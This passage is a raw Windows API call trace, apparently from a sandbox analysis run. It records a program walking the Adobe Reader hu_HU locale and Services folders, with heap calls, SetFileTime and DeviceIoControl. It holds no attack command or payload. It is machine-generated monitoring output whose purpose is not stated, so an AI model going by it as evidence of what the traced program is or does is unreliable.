(HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.088] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.HUN", cAlternateFileName="")) returned 1 [0082.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ad48 [0082.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127f0a0 [0082.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6c80) returned 0x129ab70 [0082.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1293f28) returned 1 [0082.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.090] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.HUN", cAlternateFileName="")) returned 0 [0082.090] GetLastError () returned 0x12 [0082.090] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0082.090] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.090] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.090] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.HUN", cAlternateFileName="")) returned 1 [0082.090] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x68600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.HUN", cAlternateFileName="")) returned 1 [0082.090] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.HUN", cAlternateFileName="")) returned 1 [0082.090] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.HUN", cAlternateFileName="")) returned 1 [0082.090] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.HUN", cAlternateFileName="")) returned 1 [0082.090] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.HUN", cAlternateFileName="")) returned 1 [0082.090] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.HUN", cAlternateFileName="")) returned 1 [0082.090] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.HUN", cAlternateFileName="")) returned 1 [0082.090] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.HUN", cAlternateFileName="")) returned 1 [0082.090] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.HUN", cAlternateFileName="")) returned 1 [0082.090] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.HUN", cAlternateFileName="")) returned 1 [0082.090] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.HUN", cAlternateFileName="")) returned 1 [0082.091] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.HUN", cAlternateFileName="")) returned 1 [0082.091] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.HUN", cAlternateFileName="")) returned 1 [0082.091] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.HUN", cAlternateFileName="")) returned 1 [0082.091] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807c95c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x151a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.HUN", cAlternateFileName="")) returned 1 [0082.091] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.HUN", cAlternateFileName="")) returned 1 [0082.091] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.HUN", cAlternateFileName="")) returned 1 [0082.091] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.HUN", cAlternateFileName="")) returned 1 [0082.091] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.HUN", cAlternateFileName="")) returned 1 [0082.091] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.HUN", cAlternateFileName="")) returned 1 [0082.091] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127f1a8 [0082.091] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.091] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0082.092] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0082.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0082.092] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0082.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0082.092] NtClose (Handle=0x174) returned 0x0 [0082.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x127f1a8) returned 1 [0082.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127f1a8 [0082.093] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127f2b0 [0082.093] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0082.093] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.093] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9598, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127f3b8 [0082.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ad68 [0082.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127f4c0 [0082.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.095] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125ad88 [0082.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127f5c8 [0082.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.097] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.097] GetLastError () returned 0x12 [0082.097] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0082.097] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.097] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.097] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9598, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.097] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.097] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.097] GetLastError () returned 0x12 [0082.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x127f2b0) returned 1 [0082.097] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x127f3b8) returned 1 [0082.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x127f1a8) returned 1 [0082.098] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.HUN", cAlternateFileName="")) returned 1 [0082.098] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.HUN", cAlternateFileName="")) returned 1 [0082.098] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, 